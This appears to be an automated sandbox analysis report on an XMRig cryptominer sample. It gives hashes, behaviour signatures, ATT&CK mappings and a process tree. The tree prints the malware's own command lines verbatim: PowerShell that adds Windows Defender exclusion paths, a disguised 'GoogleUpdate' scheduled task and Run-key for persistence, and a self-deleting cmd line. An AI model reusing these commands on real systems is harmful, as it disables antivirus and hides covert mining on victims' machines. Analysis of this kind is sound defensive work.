xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1452s
max time network
1803s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23/01/2024, 19:27

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General

Target
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Size 2.0MB
Sample240123-x6bvbafgem
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2028 created 1232	2028	EtPLMpbCyFJpMJr7.exe	16
PID 2028 created 1232	2028	EtPLMpbCyFJpMJr7.exe	16
PID 2028 created 1232	2028	EtPLMpbCyFJpMJr7.exe	16
PID 2028 created 1232	2028	EtPLMpbCyFJpMJr7.exe	16
PID 2964 created 1232	2964	updater.exe	16
PID 2964 created 1232	2964	updater.exe	16
PID 2964 created 1232	2964	updater.exe	16
PID 2964 created 1232	2964	updater.exe	16
PID 2888 created 1232	2888	conhost.exe	16
PID 2964 created 1232	2964	updater.exe	16

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral11/memory/2356-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2356-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2356-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2356-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2356-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2356-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2356-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2356-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2356-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2356-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2356-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2356-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2356-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2356-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2356-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2356-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2356-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2356-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2356-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2356-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2356-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2356-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2356-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2356-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2356-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2356-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2356-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2356-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2356-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2356-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2580	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2964	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2520	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral11/memory/2356-66-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2356-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2356-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2356-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2356-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2356-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2356-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2356-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2356-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2356-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2356-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2356-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2356-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2356-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2356-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2356-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2356-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2356-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2356-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2356-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2356-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2356-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2356-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2356-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2356-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2356-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2356-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2356-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2356-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2356-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2356-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2964 set thread context of 2888	2964	updater.exe	51
PID 2964 set thread context of 2356	2964	updater.exe	53

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	EtPLMpbCyFJpMJr7.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2748	schtasks.exe
728	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
568	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 50ea02059f51da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2028	EtPLMpbCyFJpMJr7.exe
2028	EtPLMpbCyFJpMJr7.exe
2396	powershell.exe
2028	EtPLMpbCyFJpMJr7.exe
2028	EtPLMpbCyFJpMJr7.exe
2784	powershell.exe
2028	EtPLMpbCyFJpMJr7.exe
2028	EtPLMpbCyFJpMJr7.exe
2028	EtPLMpbCyFJpMJr7.exe
2028	EtPLMpbCyFJpMJr7.exe
2584	powershell.exe
2964	updater.exe
2964	updater.exe
2264	powershell.exe
2964	updater.exe
2964	updater.exe
1984	powershell.exe
2964	updater.exe
2964	updater.exe
2964	updater.exe
2964	updater.exe
2888	conhost.exe
2888	conhost.exe
2964	updater.exe
2964	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
464	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2396	powershell.exe
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeDebugPrivilege	2584	powershell.exe
Token: SeDebugPrivilege	2264	powershell.exe
Token: SeDebugPrivilege	1984	powershell.exe
Token: SeDebugPrivilege	2964	updater.exe
Token: SeAssignPrimaryTokenPrivilege	568	WMIC.exe
Token: SeIncreaseQuotaPrivilege	568	WMIC.exe
Token: SeSecurityPrivilege	568	WMIC.exe
Token: SeTakeOwnershipPrivilege	568	WMIC.exe
Token: SeLoadDriverPrivilege	568	WMIC.exe
Token: SeSystemtimePrivilege	568	WMIC.exe
Token: SeBackupPrivilege	568	WMIC.exe
Token: SeRestorePrivilege	568	WMIC.exe
Token: SeShutdownPrivilege	568	WMIC.exe
Token: SeSystemEnvironmentPrivilege	568	WMIC.exe
Token: SeUndockPrivilege	568	WMIC.exe
Token: SeManageVolumePrivilege	568	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	568	WMIC.exe
Token: SeIncreaseQuotaPrivilege	568	WMIC.exe
Token: SeSecurityPrivilege	568	WMIC.exe
Token: SeTakeOwnershipPrivilege	568	WMIC.exe
Token: SeLoadDriverPrivilege	568	WMIC.exe
Token: SeSystemtimePrivilege	568	WMIC.exe
Token: SeBackupPrivilege	568	WMIC.exe
Token: SeRestorePrivilege	568	WMIC.exe
Token: SeShutdownPrivilege	568	WMIC.exe
Token: SeSystemEnvironmentPrivilege	568	WMIC.exe
Token: SeUndockPrivilege	568	WMIC.exe
Token: SeManageVolumePrivilege	568	WMIC.exe
Token: SeLockMemoryPrivilege	2356	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2784 wrote to memory of 2748	2784	powershell.exe	32
PID 2784 wrote to memory of 2748	2784	powershell.exe	32
PID 2784 wrote to memory of 2748	2784	powershell.exe	32
PID 2580 wrote to memory of 1740	2580	cmd.exe	34
PID 2580 wrote to memory of 1740	2580	cmd.exe	34
PID 2580 wrote to memory of 1740	2580	cmd.exe	34
PID 2584 wrote to memory of 1948	2584	powershell.exe	36
PID 2584 wrote to memory of 1948	2584	powershell.exe	36
PID 2584 wrote to memory of 1948	2584	powershell.exe	36
PID 2520 wrote to memory of 2964	2520	taskeng.exe	40
PID 2520 wrote to memory of 2964	2520	taskeng.exe	40
PID 2520 wrote to memory of 2964	2520	taskeng.exe	40
PID 1984 wrote to memory of 728	1984	powershell.exe	45
PID 1984 wrote to memory of 728	1984	powershell.exe	45
PID 1984 wrote to memory of 728	1984	powershell.exe	45
PID 2964 wrote to memory of 2888	2964	updater.exe	51
PID 2872 wrote to memory of 568	2872	cmd.exe	46
PID 2872 wrote to memory of 568	2872	cmd.exe	46
PID 2872 wrote to memory of 568	2872	cmd.exe	46
PID 2964 wrote to memory of 2356	2964	updater.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1232
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2784
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2748
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1984
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:728
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2672
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2872
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2888
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2356

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:1740

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:1948

C:\Windows\system32\taskeng.exe
taskeng.exe {DFC2FFF8-B9FF-4466-963A-9FDC81BE208E} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2520
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2964

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:568

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 270KB
SHA256 b3a449ccecde46d12ba32e164b6af6018c5564afa425556352d7adb76e2dbf35
MD5 11bb2c53a5656821e8aaec8eade7b3fa
SHA1 924e5c2d21832f10818243227e0a0b81d93e259a
SHA512 29f350e0c35187f02ca5233bfe4f94235e693129367eca85ee2924df35502d99c84468a8f0e2f7d1a4f1da27d7e115356934961f2ffa946b662056fa122062bb
SSDEEP 6144:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0yLbRfgajd0m8keLx73kb5T3r:rWVi46hyqG2ckwLxgajd0mAVwb5T3r
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 376KB
SHA256 167fdc9ec7a3dbe2d84e3b944b8ea8f122c21c28e835f4783e3bacbee4c1c42d
MD5 7b8d43d81d108a45851d38d83245733a
SHA1 55d9bb6ee21bbfc8e342006026359c9de9caf3c1
SHA512 10078df0c33672b07ae6109c27d8c097d8df05f43958fb4b27add882a6e19b5b728e4e1a38aeebf436ec5dcde63f59cf5bdfab2823831b1dae79c33b12978945
SSDEEP 6144:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0yLbRfgajd0m8keLx73kb5T3FeFwH8w1m4:rWVi46hyqG2ckwLxgajd0mAVwb5T3dnZ
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

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590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 d767883536a4d356f07283280124a29a1586ef8278ada35298d74e9bba0f86d9
MD5 b351fef5e8d239cccce7f67cb702a790
SHA1 23471d7505f3c7d455d044f46ddf47cae3fb665f
SHA512 d4b207f6aa06ab6121c55633cdeb89f87143b9ea6b292a63f2e1493daf290785843be715b85be3ff06691c12b1dc82d417a5bc0bbaccd5c5afba21c29190fda1
SSDEEP 96:ERaCAiM8DnqvsqvJCwoJXRaCAiM8DnqvsEHyqvJCworLFzcbCQHAr7zsXlUVsN:sLvUoJBLvAHnorLFFBr7zsJN
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 483KB
SHA256 77f413fa9420f2af4ef10f746cb3efde4874767e2a0815132653ac5a7fbea7cb
MD5 1dcd563cf920bea5bdb2656586959309
SHA1 b839819d324607497e4643301615bb1e667c58cf
SHA512 b9790be10d2ab110eedddea210f9d6f834aa2cf6243e36f82efe2f795afd2d3d8c0eeaf1ee609b7d454d8b5c50a009d42f259e8a10b9b46a7dbf7cb0ad1dbdc4
SSDEEP 12288:rWVi46hyqG2ckwLxgajd0mAVwb5T3dn88hzNTkuIdZVJ:rWVipGdVZjdqVC5jd88FC3J
MD5 SHA1 SHA512 SSDEEP

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memory/1984-54-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

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memory/1984-58-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

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memory/1984-56-0x00000000011E0000-0x0000000001260000-memory.dmp

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memory/1984-55-0x00000000011E0000-0x0000000001260000-memory.dmp

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memory/1984-52-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

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memory/1984-53-0x00000000011E0000-0x0000000001260000-memory.dmp

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memory/1984-57-0x00000000011E0000-0x0000000001260000-memory.dmp

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memory/2028-29-0x000000013F990000-0x000000013FBA1000-memory.dmp

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memory/2028-0-0x000000013F990000-0x000000013FBA1000-memory.dmp

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memory/2264-48-0x000007FEF4E00000-0x000007FEF579D000-memory.dmp

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memory/2264-50-0x0000000000EAB000-0x0000000000F12000-memory.dmp

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memory/2264-46-0x000007FEF4E00000-0x000007FEF579D000-memory.dmp

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memory/2264-47-0x0000000000EA0000-0x0000000000F20000-memory.dmp

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memory/2264-51-0x000007FEF4E00000-0x000007FEF579D000-memory.dmp

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memory/2264-49-0x0000000000EA0000-0x0000000000F20000-memory.dmp

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memory/2356-88-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2356-100-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2356-135-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2356-133-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2356-131-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2356-129-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2356-127-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2356-125-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2356-118-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2356-116-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2356-114-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2356-112-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2356-110-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2356-108-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2356-106-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2356-104-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2356-102-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2356-98-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2356-96-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2356-94-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2356-92-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2356-90-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2356-86-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2356-84-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2356-82-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2356-80-0x0000000000290000-0x00000000002B0000-memory.dmp

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memory/2356-67-0x00000000000B0000-0x00000000000D0000-memory.dmp

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memory/2356-66-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2356-78-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2356-68-0x00000000001A0000-0x00000000001C0000-memory.dmp

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memory/2356-69-0x0000000000290000-0x00000000002B0000-memory.dmp

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memory/2356-79-0x00000000001A0000-0x00000000001C0000-memory.dmp

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memory/2356-71-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2356-73-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2356-76-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2356-75-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2396-11-0x0000000002560000-0x00000000025E0000-memory.dmp

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memory/2396-12-0x0000000002560000-0x00000000025E0000-memory.dmp

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memory/2396-13-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

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memory/2396-7-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

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memory/2396-6-0x0000000001DB0000-0x0000000001DB8000-memory.dmp

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memory/2396-8-0x0000000002560000-0x00000000025E0000-memory.dmp

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memory/2396-9-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

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memory/2396-10-0x0000000002560000-0x00000000025E0000-memory.dmp

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memory/2396-5-0x000000001B270000-0x000000001B552000-memory.dmp

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memory/2584-40-0x00000000027C0000-0x0000000002840000-memory.dmp

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memory/2584-36-0x00000000027C0000-0x0000000002840000-memory.dmp

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memory/2584-37-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

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memory/2584-39-0x00000000027C0000-0x0000000002840000-memory.dmp

